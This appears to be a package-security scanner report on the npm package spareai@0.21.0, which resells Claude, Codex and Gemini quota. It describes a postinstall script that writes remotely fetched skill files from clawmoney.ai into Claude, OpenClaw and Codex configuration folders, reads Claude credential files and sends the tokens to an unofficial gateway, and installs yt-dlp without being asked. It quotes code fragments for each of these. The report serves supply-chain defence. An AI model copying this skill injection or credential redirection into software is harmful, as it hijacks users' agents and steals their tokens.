Loading npm security reports…

spareai@0.21.0: AI-agent control-surface risk | LPM Firewall

registry / spareai / 0.21.0

spareai@0.21.0

Sell your spare AI capacity — the SpareAI provider CLI turns idle Claude / Codex / Gemini subscription quota into per-request income.

AI Security Review

scanned 2h ago · by lpm-firewall-ai

LPM flags this version as an AI-agent control-surface risk. On npm installation, the package fetches a remotely controlled skill and installs it into three AI-agent control surfaces. It also performs unattended OS-level third-party package installation.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

npm install, including transitive installation when lifecycle scripts are enabled

Impact

Unreviewed remote instructions gain availability as Claude, OpenClaw, and Codex skills; install mutates the user environment.

Mechanism

postinstall remote agent-skill injection and external package-manager execution

Policy narrative

Installing the package automatically executes install-skill.cjs. It fetches markdown from clawmoney.ai and writes it as active skills/commands under Claude, OpenClaw, and Codex user configuration directories, without user setup action or content pinning. The same postinstall then invokes system package managers to install yt-dlp. This is an unconsented install-time mutation of broad foreign AI-agent control surfaces.

Rationale

The package has a concrete postinstall chain that downloads remotely controlled content into multiple unrelated agent configuration surfaces. This meets the blocking policy independent of scanner labels.

Evidence

package.jsonscripts/install-skill.cjsscripts/install-ytdlp.cjs~/.claude/commands/clawmoney.md~/.openclaw/skills/clawmoney/SKILL.md~/.codex/skills/clawmoney/SKILL.md

Network endpoints

Source & flagged code

17 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/install-skill.cjs && node scripts/install-ytdlp.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/install-skill.cjs && node scripts/install-ytdlp.cjs

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

dist/ui/companion.jsView file

9// for the same reason). L10: import { spawn, spawnSync } from 'node:child_process'; L11: import fs from 'node:fs';

High

Child Process

Package source references child process execution.

dist/ui/companion.jsView on unpkg · L9

9// for the same reason). L10: import { spawn, spawnSync } from 'node:child_process'; L11: import fs from 'node:fs'; ... L17: import { spareaiDir } from '../utils/home.js'; L18: const __dirname = path.dirname(fileURLToPath(import.meta.url)); L19: // Companion source shipped in the npm package: dist/ui/ -> ../../companion ... L22: const RUN_DIR = path.join(spareaiDir(), 'companion'); L23: const COMPANION_FILES = ['main.js', 'package.json', 'tray-icon.png', 'icon.png', 'icon.icns', 'preload.js']; L24: function copyCompanionFiles() { ... L43: function electronBinaryPath() { L44: if (process.platform === 'darwin') { L45: const dist = path.join(RUN_DIR, 'node_modules', 'electron', 'dist');

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/ui/companion.jsView on unpkg · L9

dist/commands/tweet.jsView file

15stdio: 'inherit', L16: shell: true, L17: });

High

Shell

Package source references shell execution.

dist/commands/tweet.jsView on unpkg · L15

dist/relay/upstream/claude-bootstrap.jsView file

284const childEnv = { L285: ...process.env, L286: ANTHROPIC_BASE_URL: `http://127.0.0.1:${port}`, L287: NO_PROXY: "127.0.0.1,localhost", ... L295: // users into a lower safety setting without consent. L296: claudeChild = spawn("claude", ["-p", "hi"], { L297: env: childEnv,

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/relay/upstream/claude-bootstrap.jsView on unpkg · L284

•matchType = normalized_sha256 matchedPackage = spareai@0.20.3 matchedPath = dist/relay/upstream/claude-bootstrap.js matchedIdentity = npm:c3BhcmVhaQ:0.20.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/relay/upstream/claude-bootstrap.jsView on unpkg

scripts/probe-claude-api.mjsView file

11L12: import { execFileSync } from "node:child_process"; L13: import { readFileSync, writeFileSync, existsSync, mkdirSync } from "node:fs"; ... L16: import { randomUUID } from "node:crypto"; L17: import { ProxyAgent, setGlobalDispatcher } from "undici"; L18: ... L22: const proxyUrl = L23: process.env.HTTPS_PROXY || L24: process.env.https_proxy || ... L46: L47: const CLAWMONEY_DIR = join(homedir(), ".spareai"); L48: const FINGERPRINT_FILE = join(CLAWMONEY_DIR, "claude-fingerprint.json");

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

scripts/probe-claude-api.mjsView on unpkg · L11

dist/relay/upstream/claude-api.jsView file

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. dist/relay/upstream/claude-api.js: * Token is loaded once at startup (from macOS Keychain or ~/.claude) and import { readFileSync, writeFileSync, existsSync } from "node:fs"; const OAUTH_TOKEN_URL = "https://platform.claude.com/v1/oauth/token"; const CLAUDE_CREDENTIALS_FILE_PATH = join(homedir(), ".claude", ".credentials.json"); const oauth = raw.claudeAiOauth; throw new Error("Claude Code credentials not found (checked keychain, ~/.claude/.credentials.json, " + wrapper.claudeAiOauth = { ...wrapper.claudeAiOauth,

High

Credential Redirect Persistence

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

dist/relay/upstream/claude-api.jsView on unpkg

scripts/install-skill.cjsView file

7L8: const { mkdirSync, writeFileSync } = require('fs'); L9: const { join } = require('path'); ... L13: const TARGETS = [ L14: { dir: join(homedir(), '.claude', 'commands'), file: 'clawmoney.md' }, L15: { dir: join(homedir(), '.openclaw', 'skills', 'clawmoney'), file: 'SKILL.md' }, L16: { dir: join(homedir(), '.codex', 'skills', 'clawmoney'), file: 'SKILL.md' }, L17: ]; ... L27: try { L28: mkdirSync(t.dir, { recursive: true }); L29: writeFileSync(join(t.dir, t.file), content); L30: } catch {}

Critical

Ai Agent Control Hijack

Source creates an unconsented AI-agent control surface through install-time mutation or a default unauthenticated remote skill channel.

scripts/install-skill.cjsView on unpkg · L7

dist/utils/awal.jsView file

14return new Promise((resolve, reject) => { L15: const child = spawn('npx', ['awal', ...finalArgs], { L16: stdio: ['inherit', 'pipe', 'pipe'],

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/utils/awal.jsView on unpkg · L14

scripts/install-market-launchd.shView file

•path = scripts/install-market-launchd.sh kind = build_helper sizeBytes = 6898 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

scripts/install-market-launchd.shView on unpkg

dist/task/skills/youtube/_ytdlp.jsView file

•stage = ast_semantic_analysis; reason = ast_alias_growth_limit_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/task/skills/youtube/_ytdlp.jsView on unpkg

companion/main.jsView file

•matchType = normalized_sha256 matchedPackage = spareai@0.20.3 matchedPath = companion/main.js matchedIdentity = npm:c3BhcmVhaQ:0.20.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

companion/main.jsView on unpkg

dist/relay/upstream/codex-bootstrap.jsView file

•matchType = normalized_sha256 matchedPackage = spareai@0.20.3 matchedPath = dist/relay/upstream/codex-bootstrap.js matchedIdentity = npm:c3BhcmVhaQ:0.20.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/relay/upstream/codex-bootstrap.jsView on unpkg

dist/relay/upstream/gemini-bootstrap.jsView file

•matchType = normalized_sha256 matchedPackage = spareai@0.20.3 matchedPath = dist/relay/upstream/gemini-bootstrap.js matchedIdentity = npm:c3BhcmVhaQ:0.20.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/relay/upstream/gemini-bootstrap.jsView on unpkg

dist/task/preflight.jsView file

•matchType = normalized_sha256 matchedPackage = spareai@0.20.3 matchedPath = dist/task/preflight.js matchedIdentity = npm:c3BhcmVhaQ:0.20.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/task/preflight.jsView on unpkg